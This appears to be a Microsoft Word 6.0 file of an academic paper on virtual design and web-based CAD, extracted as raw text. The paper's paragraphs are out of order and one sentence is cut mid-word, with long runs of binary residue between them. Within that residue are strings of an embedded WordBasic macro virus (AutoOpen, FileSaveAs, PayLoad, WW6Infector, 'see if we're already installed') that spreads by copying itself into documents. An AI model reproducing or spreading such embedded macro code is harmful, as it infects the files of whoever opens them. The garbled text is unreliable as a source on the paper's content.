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Virtual designing refers to the creation of a computer shape model of the artifact. Virtual Prototyping refers to the analysis of a product without actually making a physical prototype of the part. The term дvirtualе refers to the fact that the result of the design is not yet created in its final form but that only a visual representation of the object is presented to the user for observation, analysis and manipulation. This prototype does not necessarily have all the features of the final product but has enough of the key features to allow testing of the product design against the product requirements. An example of virtual prototyping is performing a manufacturability analysis of a partеs shape design. The resultant design that satisfies the analysis (perhaps subsequent to several design modifications) is referred to as the Virtual Prototype. The unique attribute of this activity is the requirement to perform several different types of analysis such as manufacturability, assemblability, etc., on a geometric description of the product. This involves the use of a large number of intelligent programs that must interact with each other, and therefore represents a unique application for the World Wide Web. In recent years, the web has been used very extensively for a large variety of applications. In principle, the World Wide Web reduces the distance between designers and between designers and software programs. This is possible due to the existence of two classes of applications: (i) one in which a designer interacts with software programs which may or may not be located at his/her own computer, (ii) the other in which a distributed environment allows several users to share data or knowledge to interact with each through the web such that theytions, and the graphics generation would be done on the userеs local computer. If graphics display is performed locally, VRML could be used, but is not essential. The Internet allows people from different organizations to exchange data freely. However, it is not the only model for sharing data. An Intranet, on the other hand, allows a small group of users to share data without allowing access to the rest of the world. An example of the use of an Intranet is for data and application sharing within a company. This means that the data is protected from the world outside that company, i.e., the Internet. Therefore, if designers are using a CAD system from an Intranet, the following is a reasonable design of the system: i) the application programs residing on the server. ii) the CAD models residing on the server so that they can be shared by different individuals in the company. iii) the VRML data generated upon the user performing any action that requires graphics to be modified. This VRML data could then be downloaded to the local userеs machine and displayed. Therefore, depending upon the style in which the application is built, the graphics data may be generated on the server or at the usersе client computer. And depending on where it is generated, different graphics formats may need to be used. The role of VRML and where it is generated, etc., will be researched in the forthcoming years. The second design setting is one in which designers use a variety of different design applications such as geometric modeling module, feature determination module, design-for-manufacturing analysis module, geometric assembly/disassembly determination module, etc. In this scenario, users may create a geometric model using a CAD system, which may be located at a remote site. Subsequently, they may wish to analyze the part designed for manufacturability via a feature extraction system, which may be on another site. To do that, users would drag the geometric model from the CAD system window in the World Wide Web browser into the feature determination module window. The feature determination system, a product that may be sitting at another companyеs site, automatically determines the features and displays them in its own window. The user could then select these features and all the information generated about them by the feature determination system and drag and drop them into the Design-for-manufacturing window which could provide feedback on the manufacturability of the design. These steps are illustrated in Figure 1 below. This ability of the two programs to communicate directly via a user performing a drag-and-drop operation will prove to be a simple yet extremely powerful method for producing designs since it will bring a variety of knowledge to the designerеs desktop which also can дtalkе the same language. Figure 1: Using World Wide Web for accessing a variety of tools Such a simple method of interaction, however, does not come free. A significant amount of research is needed to determine standard geometric representations for features that can be used by a variety of different CAD systems. The above scenario, in which one user can design by accessing different software programs for doing different types of analyses, requires the emergence of some standards for geometric representation that can be used over the World Wide Web. It also requires the development of drag and drop type standards similar to OLE (Object Linking and Embedding), which provides a protocol whereby data can be organized in a standard format for exchange between different programs. Intergraph has implemented one such standard for geometric modeling, 4DM. However, a broader universal standard needs to be created and made available, so that different programs can communicate easily. This broader standard would incorporate the activities performed by 4DM (which represents primarily the geometry) with those of PDES/STEP to be able to achieve true integration via the World Wide Web. While there exist several standards (such as IGES, initial graphics exchange specification), they tend to have built a lot of redundancy. A standard for the Internet has to be concise and precise and, therefore, a given surface type should be representable in only one manner. Just like the HTML standard forces a certain way of representing graphical data, appropriate standards are needed for the geometric representation, which must also be enforced for the sake of compactness. Multiple designers performing collaborative design The previously discussed models of the user of the World-wide web show users interacting with a single CAD system and users interacting with multiple programs that tie into a CAD system. The web, in particular, can be used, too, as a tool for collaborative design by individuals at different sites. Collaborative designs on CAD models can result in significant research issues related to geometry which will need to be addressed in the future. For example, a designer working in Detroit is designing the body of an automobile, the engine designer working in Germany is doing a concept design for the engine, and a designer working in California is developing a concept design for the interior of the vehicle. The three designers, though working on separate subsections of the product, are working to come up with a geometric definition of the concept design of the car. Since they work on different parts of the same product, if one of them wishes to make a change to his/her geometric envelope (the engine, the interior, the body), he/she must inform the other designers and, at least some times, alter his/her plans, if they clash with what the other designers are doing/can do. Before the Web existed, such activity took a long time (weeks or, sometimes, even months). The Web allows these designers to share an interface, and even allows them to see what the other persons are doing at all times (the user of vide-conferencing has enabled even the actions and expressions of the other user to be observed). And, if any one of them violates the othersе physical/geometric design space, they will know right away if the system is equipped with a geometric surface interaction and/or detection program. This form of collaborative design can lead to significant opportunities in geometric modeling. An example of such an opportunity is modeling the geometric/virtual design space, its partitioning and detection of interference between partitions (all in real-time). One very important fact that needs to be considered in web-based design is the bandwidth provided by the state-of-the-art networks that support the Internet/World-wide-web. The Internet is the backbone of the World Wide Web, and limits, therefore, the data rates which can be transmitted through the World Wide Web. Geometric data, by its very nature, tends to be very large, even for very simple objects. A simple telephone hand set, for instance, requires several thousand planar surfaces if it is to be described with reasonable accuracy. Such a representation could make the data large and, therefore, could slow down the rate at which the geometric information is transmitted over the internet. If non-linear surfaces (an example being non-uniform rational b-spline, or NURBS, surfaces) are used, the representation is significantly more compact than planar surfaces. Therefore, the data transmitted over the web is quite minimal even for complex shapes when using NURBS. On the other hand, the representations that use non-linear surfaces tend to be significantly more complex. In addition there are few efficient algorithms for processing geometric information using this representation as compared to planar models. In the planar case, the processing of data may be fast, but transmission over the internet is slow. For the non-linear case, the processing may be slow, but the data transmission may be fast. Choosing the appropriate representation is, therefore, a very important step in doing geometric design on the worldwide web. Determining which representation to use involves tradeoffs and, therefore, presents an unique research opportunity to the geometric modeling community. Another unique and interesting application of the Web as a tool for design involves the use of вagents.г A significant amount of work has been done in the use of agents for doing design, and, therefore, the current article will not discuss this topic. However, agents are a unique designing tool as they can search the World Wide Web for an analysis program such as one that does design-for-manufacturability analysis for any geometry that a designer produces. This model, often appealing, may sometimes be somewhat risky to use as the quality of the program the agent finds is not known. However, this can be a significant topic for research for the AI community. One might argue that in designing web-based applications, using a plug-in is appropriate. While plug-ins offer a unique method of running applications, they do not, necessarily, exploit the full power of the world Wide Web, which rests in the fact that pieces of an application can be located at different sites, which means that no system is overloaded. Plug-ins, if they are downloaded, reside on the userеs machine and tend to, very quickly, inundate the hard disk. The Web, therefore, through languages such as Java, allows low-level codes to be synthesized at one location (server) and executed at another (client). This means that only the active application programs need to be downloaded (in the form of Java applets, which are generally small in memory requirements) and, therefore they do not need significant amounts of local hard disk space. In general geometric modeling applications programs are very large with several of them being up to several 100 megabytes. Also, the data requirements for geometry-based applications tends to be very large. Therefore, applications as well as data are going to be distributed across networks more and more in the future - the Web allows such applications to be built easily. Summary The worldwide web provides a unique environment for doing geometric design by a single user using a single system, or a single user using multiple systems, or multiple users using single or multiple systems. A host of geometric issues have been identified, in this paper, that need further investigation. The principle issues among these have to do with standardizing representations and compactness of representations. Current standards do not meet these needs and, therefore, need to be expanded significantly. While standards, if formed, may be suitable for a certain model of the World Wide web, it may not be suitable for all models of the worldwide web (Intranet versus Internet, local plug-in based versus distributed Java based). In any case, the principle strength of the web is in its distributed nature, and exploiting that will bring signficant benefits to this field. Significant opportunities exist for researchers in the area of geometry-based Virtual Design over the World-wide web.  VRML is a standard language for modeling three-dimensional geometric data. It is being used as a de-facto standard modeling language for exchanging geometric data over the web. While several companies use VRML as a standard data format for transmitting geometric data between two different CAD systems, VRML was originally meant for representing graphical information. VRML does not contain any information on solid models, complex surfaces, and/or shape features that are relevant to manufacturing. Therefore, if VRML is to be used, significant extensions need to be made. |HHк(џсџтљFG(ќHHк(d' @jbdiMAINdR,-*iAbortdRi iMacroCount gЗ€lldRksee if we're already installeddR#ii l$i iMacroCountdogИ€iill jPayLoaddoi bInstalled ldodogИ€iill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstan perceive that they are co-located. Single user performing design using CAD Let us first consider how individual designers use the web. Designers, sitting at their machines access remotely located computer aided design (CAD) programs using the Web. The CAD programs would sit on a server - the user would be accessing the server via the web. Performing various geometric design activities on the CAD system, will cause the server to download the appropriate Java applets. Jave applets are small programs that perform small activities - e.g. computing the volume of a solid model. Java applets would either query, create or modify geometry; and then would display the geometry on the designerеs screen. Depending on how the application is used, Virtual Reality Modeling Language (VRML) may be used to produce graphics. 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         2 @@$Use Word 6.0c or later to 2 €@$view Macintosh picture. !˜Uџў1”\ЅЁЖ €8ЁЖ#ЁЖ €"”~ѕЁЖ#ЁЖ €"Є~ѕЁЖ#ЁЖ €"‰†ЁЖ#ЁЖ €"‰†нЁЖ#ЁЖ €"”\ѕЁЖ# Ё– ЁddPro8џџЁšџџŠ Vshћ ШР(cvWORLD WIDE WEB — ƒџ  ;EH џџџџџџџџџџџџџџџџџџ DEEEEEEH;џџџџ> !џџ џџ џџ џџ џџ џџ џџ џџ џџ ї@ ˜щжƒ$R,4;мe–)rМC˜›œно‚gё­&ў/с4т4;Р!ЄР!0Р!ЄР!ЄР!ЄР!ЄР!ЄР!Є Р!ЄР!ЄР!ЄР!ЄР!Є‘q$Е!‘q%&в Rajit Gadh2The CAVERN!:Leah's Folder:Virtual Web Design PaperProf. Rajit GadhGMacintosh HD:publications:stRk Ж љ џџџџџџџџ РFˆ€~4i;CЛ5Р‰CompObjЭ  B џџџџџџџџџџџџ D\WordDocumentВ Г џџџџџџџџm\1fca\ deff8\denalfGШwcfhaObjectPoolc\lorobt;lr\de\0rgee0nb\ul0e\;er0dg\erne\0џџџџ€шQщ)CЛ€шQщ)CЛder\\552rgeeџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ  !"#Pџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџ2§џџџўџџџўџџџўџџџ4789:;<=>?@ABCDEFўџџџIџџџџJKLMNO QRSTUVWXYZ6џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџSummaryInformationџџџџџџџџџџџџџџџџџџџџџџџџ(џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџўџџџ ўџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџadh'@Вd-ŸAЛ@ЊеЙ]BЛ@VI;CЛ@Microsoft Word 6.0.171аЯрЁБс;џў 0џџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџџўџџџџџ РFMicrosoft Word 6.0 DocumentўџџџNB6WWord.Document.6;џў ўџ ђŸ…рOљhЋ‘+'Гй0в˜э':T Z f r~† ŽšЗ ПЪndLine %@BeginRuler %@ MMacintosh HD:Applications:Microsoft Office:Microsoft Word 6:Templates:Normal2Virtual Designing Over the Web: Advances Needed  Rajit GadhProf. Rajit G Ѓ UnИўkЕўxЕџџwxДЕџvwГДџuvВГџtuБВџstАБџrsЏАџqrЎЏџ pq­Ўџ opЌ­џ noЋЌџ mnЊЋџlmЉЊџklЈЉџkЈџџ ЁЁЖ#  ЁЄLЭџџІe "Ј# э##ј##ѓ###„  Ѓ UnРџЈЕџДЕџГДџВГџБВџАБџЏАџДЕџЎЏГДџ ­ЎВГџ Ќ­БВџ ЋЌАБџЊЋЏАџЉЊЎЏџЈЉ­ЎџЌ­џЋЌџЊЋџЉЊџЈЉџџ ЁЁЖ#  ЁЄџџЬЫџў "џž###ѕ##№##ј #„  Ѓ UnŒѕžІѕЅІџіЄЅџїЃЄџљЂЃџњЁЂџќ Ёџ§Ÿ џўžŸџЅІџЄЅџЃЄџ ЂЃџ ЁЂџ  Ёџ Ÿ џžŸџџ ЁЁЖ#  ЁЄџќГ3џџ "єІ#ј ##о##ѕ####„  Ѓ Un€є|џІєƒІџѕ‚ƒЅІџі‚ЄЅџїЃЄџј€џљЂЃџњ€ЁЂџћ~џќ Ёџ§}~Ÿ џў|}žŸџџ|žџџ ЁЁЖ#  ЁЄ™™џџЬЩ "“•#ѓ##У## э##=#„  Ѓ UnИ“KІ•“X•џ”WX”•џ•VW“”џ—UV’“џ˜TU‘’џšST‘џ›RSџQRŽџžPQŽџŸOPŒџЁNO‹ŒџЂMNŠ‹џЄLM‰ŠџЅKLˆ‰џІKˆџџ ЁЁЖ#  ЁЄLЭџџІe "Ўˆ# э##ј##ѓ###„  Ѓ UnЬ”ˆ­•””•џ•“”џ—’“џ˜‘’џš‘џ›џœ”•џŽ“”џžŽџŸŒ’“џ ‘’џЁ‹ŒџЂŠ‹‘џЃџЄ‰ŠџЅˆ‰ŽџІŽџЇŒџЉ‹ŒџЊŠ‹џЌ‰Šџ­ˆ‰џџ ЁЁЖ#Ё– ЁddPro<нkТЂЁšџIўЫнkТЂ Љ2М<,  Helvetica .џx(З5Ъ —ЬЫьЭџџ Un1Щ*гD8LЭџџІe1ІKЏ‰ЁЖ €8ЁЖ"З9ЁЖ €"Іˆ эЁЖ#ЁЖ €"Ўˆ эЁЖ#ЁЖ €"“•ЁЖ#ЁЖ €"ІK эЁЖ#ЁЖ €"“•ёЁЖ#ЁЖ €"“\ќЁЖ#  ЁЄџџЬЫџў "”~###ѕ##№##ј #„  Ѓ UnŒŠ~Ѓ†Š…†џ‹„…џŒƒ„џŽ‚ƒџ‚џ‘€џ’€џ“~џš…†џ›„…џœƒ„џž‚ƒџŸ‚џЁ€џЂ€џЃ~џџ ЁЁЖ#ЬЫьЭџџ1g*qЏ8ЬЫьЭџџ1p*З68џџџџџџ 1gПЗD џџџџџџџџ8ЬЫьЭџџ1gПqD8ЬЫьЭџџ1pПЗЫ8ЬЫьЭџџ1в*(68Ё– ЁddPro)Ёšџbџ' ”ж­B >v(žй1. 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ЁddPro)БА)Block causes sink —џќLЭџџ Unaї‡§›ZДЁЖ €hZДЁЖ"Љ7џњџџџYЁЖ €XЁЖ#ЁЖ €"ћŠќЁЖ#ЁЖ €"ќћЁЖ#ЁЖ €"ќ‘ћЁЖ#ЁЖ €"ќ”ћЁЖ#ЁЖ €"ћ—ќЁЖ# ŒџџЬЫџў1џ|ŸЁЖ €8ЁЖ#ЁЖ €"џžѕЁЖ#ЁЖ €"žѕЁЖ#ЁЖ €"єІЁЖ#ЁЖ €"єІнЁЖ#ЁЖ €"џ|ѕЁЖ# LЭџџІe1kЉЁЖ €8ЁЖ#ЁЖ €"Ј эЁЖ#ЁЖ €"Ј эЁЖ#ЁЖ €"ўЕЁЖ#ЁЖ €"k эЁЖ#ЁЖ €"ўЕёЁЖ#ЁЖ €"ў|ќЁЖ#Ё– ЁddPro"ЁšџџŽ фo№‡ бy(ьrHole —Ё– ЁddPro"ЁšџџY фЄ№П„Х)5Block —ЁЖ €Ёd dPro  Œ UnqюžєЄєžюЁ№ЂёЄєž"№Ђ§ ЁddPro ЁЖ#ЁЖ €Ёd dPro  Œqё†їŒїŒє†ѓ‡ё‰їŒ"ѓ‡ћћ ЁddPro ЁЖ#ЁЖ €Ёd dPro  Œq ЏЕЏ ЕЕЕЏ"Е ЁddPro ЁЖ#Ё– ЁddPro"ЁšўяџE  ИбH+%Base —Ё– ЁddPro0Ёšџўћ зыA рЬ(тFEATURE ЁddPro0‹L(я№ EXTRACTION ЁddPro03Ь+ SYSTEM —Ё– ЁddPro0Ёšџ‚џЦ s6ƒŒбЊ(~: CAD SYSTEM —Ё– ЁddPro 0Ёšџ‚џ. sЯDоs)˜ DFM-DESIGN ЁddPro 0оs* RULE CHECKING — ŒЁЖ € Un`ЇPЕ’ЁЖ"‹6ЁЖ €Ёd dPro  Œqahhabbh"dў ЁddPro ЁЖ# ЁЖ €`Ё~­dЁЖ#ЁЖ €Ёd dPro  ŒqЁ•Ѕ›Ё•Ё›Ѓ›ЅšЁ•"Ђ˜ ЁddPro ЁЖ#Ёи@Ёж@ з#G8ЁЪЁШ<<ђЁЖ €`ЇГ<ѓr ЩЁж@ з йЁж@Ёи@ О йpjДЛ ДЖ Й М О Т ЦЪЮбдўињнісёхэщчэсёлѓзѕдљЬќХџОЛЁи@ П й зЁЖ"ЛЁЖ €Ёd dPro  ŒqЏЕ ЏД Е ЕЏ"Д ЁddPro ЁЖ#ЁddProџџѓ1ЬЫ1Н<ЦqЁ– ЁddPro Ёšџ<џФ М9Чt ѓD(Ф< DRAG/DROP —ЁddProЁddProџџѓ1ЬЫ Un1НёЦ(Ё– ЁddPro Ёšџ<џ МюЧ+“™)Е DRAG/DROP —ЁddPro  ЁЄPџќГ3џџ "‰†#ј ##о##ѕ####„  Ѓ Un€‰\”†‰c†џŠbc…†џ‹ab„…џŒƒ„џ`aџŽ‚ƒџ_`‚џ^_џ‘€џ’]^€џ“\]~џ”\~џџ ЁЁЖ#џњџџџQŒg’{ЁЖ €XЁЖ#џњџџџiZДЁЖ €hZДЁЖ#ЁЖ €"jќЁЖ#ЁЖ €"‘nћЁЖ#ЁЖ €"‘qћЁЖ#ЁЖ €"‘tћЁЖ#ЁЖ €"wќЁЖ#џџЬЫџў1”\ЅЁЖ €8ЁЖ#ЁЖ €"”~ѕЁЖ#ЁЖ €"Є~ѕЁЖ#ЁЖ €"‰†ЁЖ#ЁЖ €"‰†нЁЖ#ЁЖ €"”\ѕЁЖ# Ё– ЁddPro8џџЁšџџŠ Vshћ ШР(cvWORLD WIDE WEB — ƒџ ;EH џџџџџџџџџџџџџџџџџџ DEEEEEEH;џџџџ> !џџ џџ џџ џџ џџ џџ џџ џџ џџ ї@ ˜щжƒ$R,4;мe–)rМC˜›œно‚gё­&ў/с4т4;Р!ЄР!0Р!ЄР!ЄР!ЄР!ЄР!ЄР!Є Р!ЄР!ЄР!ЄР!ЄР!Єq$Е!JF%&š Rajit Gadh2The CAVERN!:Leah's Folder:Virtual Web Design PaperProf. Rajit GadhGMacintosh HD:publications:stanford.virtual.web:Virtual Web Design PaperџUџџ‹>ц‹>UџџqAГqAUџџ$C1$CUџџUCцUC)AutoOpenAAAZAOAAAZFSPayLoadAAAZAOAAAZFSPAYLOADAUTOOPEN@€<ўџ{cœX\ХЪЫ˜™šœлно‚ ж#п#$‚$Q'R'U'V'W'Y'f3g3а8б8;;;;XЊ€\ХЊ€ЪЊ€ЫBFCFDF; FFHF˜z {Њ€ Я&Њ€и&;Fz'FO*Њ€Q*?F^6IFШ; > >>\MTimes New Roman Symbol MArialMPalatinoMHelvetica MTimes"1ˆаh‹sFеƒ†7{fGЁƒ!`1Virtual Designing Over the Web: Advances Needed Rajit GadhProf. Rajit GadhаЯрЁБс;џў 0мЅhOР =e>Шwб8FNВNВq šq ц‹>UџџqAГqAUџџ$C1$CUџџUCцUC)AutoOpenAAAZAOAAAZFSPayLoadAAAZAOAAAZFSPAYLOADAUTOOPEN@€€€€€5œcœX\ХЪЫ˜™šœлно‚ ж#п#$‚$Q'R'U'V'W'Y'f3g3а8б8;;;;XЊ€\ХЊ€Ъssssidlgd?idlgdidlgsЫ lidlgsЫ ldisMe$ g%€disTMacro$ isMe$j :AutoOpendgТ€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZAOdgТ€j Global:AAAZAOisTMacro$disTMacro$ isMe$j:AAAZFSdgТ€j Global:AAAZFSisTMacro$disTMacro$ isMe$j:PayLoaddgТ€jGlobal:PayLoadisTMacro$dgTidlgd*iDonedeBaildiErr lfdRgTidlgdeDoneddiMAINdRp That's enough to prove my pointddiMAINdR,-*iAbortdRi iMacroCount gЗ€lldRksee if we're already installeddR#ii l$i iMacroCountdogИ€iill jPayLoaddoi bInstalled ldodogИ€iill j FileSaveAsdoibTooMuchTrouble ldodR&iidRi bInstalledibTooMuchTroubledok5add FileSaveAs and copies of AutoOpen and FileSaveAs.dokPayLoad is just for fun.doi iWW6IInstance g€gMj WW6InfectordoisMe$ g%€doisMacro$ isMe$j:PayloaddogТ€isMacro$jGlobal:PayLoaddoisMacro$ isMe$j:AAAZFSdogТ€isMacro$jGlobal:FileSaveAsdoisMacro$ isMe$j:AAAZFSdogТ€isMacro$j Global:AAAZFSdoisMacro$ isMe$j:AAAZAOdogТ€isMacro$j Global:AAAZAOdogF€jWW6Ig€i iWW6IInstanceldog+€g€i iWW6IInstanceldReAbortdow-w,  moy& M N Ј Љ м н X\ЪЫ;z Ж!ш!щ!Э&й&~-€-Э7Я7а7з7Ч;Ш;Щ; >>>;FF?F@FAFBFCFDFFFHFIFJFДNqќіќ№ыќщфсщсщсщйщсщсщсщсщфсщсщсщсщфщфаЬфЪщщщщщУссщщЪЪ uDДNU]u]cuDP]cuDP]U]U]c]]b c U]b c U]bc ]c8nozЌУлэг д ё i $ % & N O ЅІо‚BC—˜9:;{|_`ЯаД!Е!њР!рњР!њР!рїР!@їР!@їР!@їР!@їР!@їР!@їР!@њР!рњР!рђР!ЄђР!ЄђР!ЄђР!ЄђР!ЄђР!ЄђР!ЄђР!ЄђР!ЄђР!рђР!ЄђР!ЄђР!ЄђР!ЄђР!ЄђР!ЄђР!ЄђР!ЄђР!ЄђР!ЄђР!ЄђР!ЄђР!ЄђР!ЄђР!ЄђР!ЄђР!Єђ Р!ЄђР!ЄђР!ЄђР!Єhh+Е!Ж!щ!ъ!Є)Ѕ)-‚-М/Н/V0W0ѕ2і2Ю7Я7а7и7й7Ш; > >>>AFBFEFFFHFIFJFћР!ЄћР!рћР!ЄћћР!ЄћР!ЄћР!ЄћР!ЄћР!ЄћР!ЄћР!Єћ Р!ЄћР!ЄћР!ЄћР!ЄћР!ЄћР!рћћљР!љР!№їћїїёР!0ёР!ЄёР!ЄћР!ЄїhhK@ёџNormala c"A@ђџЁ"Default Paragraph Font"@ђ" Footnote Textc &@Ђ Footnote Referenceh м":o2§.˜Єшш S&џџџџWordMicrosoft Word&Wordџџ ˜!          2 @@$Use Word 6.0c or later to 2 €@$view Macintosh picture. !˜Unџ џџџџnUЁddPro ‚  ЁЄPЁЖ(€"?#<С#!0##1џ=>12џ<=23џ;<34џ:;45џ9:56џ8967џ7878џ6789џ 569:џ 45:;џ 34;<џ 23<=џ 12=>џ01>?џ/0?@џ./@Aџ-.ABџ,-BCџ+,CDџ*+џDEџ)*EFџ()FGџ'(GHџ&'HIџ%&IJџ$%JKџ#$KLџ"#LMџ!"MNџ !NOџ  OPџ!PQџ"QRџ#RSџ$STџ%TUџ&UVџ'VWџ(WXџ)џ*XYџ+YZџ,Z[џ-[\џ.\]џ/]^џ0^_џ1_`џ2`aџ3 abџ4 bcџ5 cdџ6 deџ7 efџ8 fgџ9ghџ:hiџ;ijџ<jkџ=klџ>џ?lџџЁЖ(€ џџџџџџџџ"?<С!0#GoЁЖ(€ џџџџџџџџHЁЖ#џџѓ1ЬЫAR0ZHЁЖ(€"?<СЁЖ#ЁЖ(€"?lФСЁЖ#ЁЖ(€ >0ЁЖ# @N5^ Œџџџџџџ 1Щ*(D џџџџџџџџ8џџџџџџ 1g*ЗЏ џџџџџџџџ8  ЁЄ™™џџЬЩ "ўЕ#ѓ##У## э##=# џџџџџџџџ„ Њ€ЫBFCFDF; FFHF˜z {Њ€ Я&Њ€и&;Fz'FO*Њ€Q*?F^6qШ; > >>\MTimes New Roman Symbol MArialMPalatinoMHelvetica MTimes"1ˆаh‹sFКƒ†7{fHЃƒ!\1Virtual Designing Over the Web: Advances Needed Rajit Gadh Alice AgoginoЙ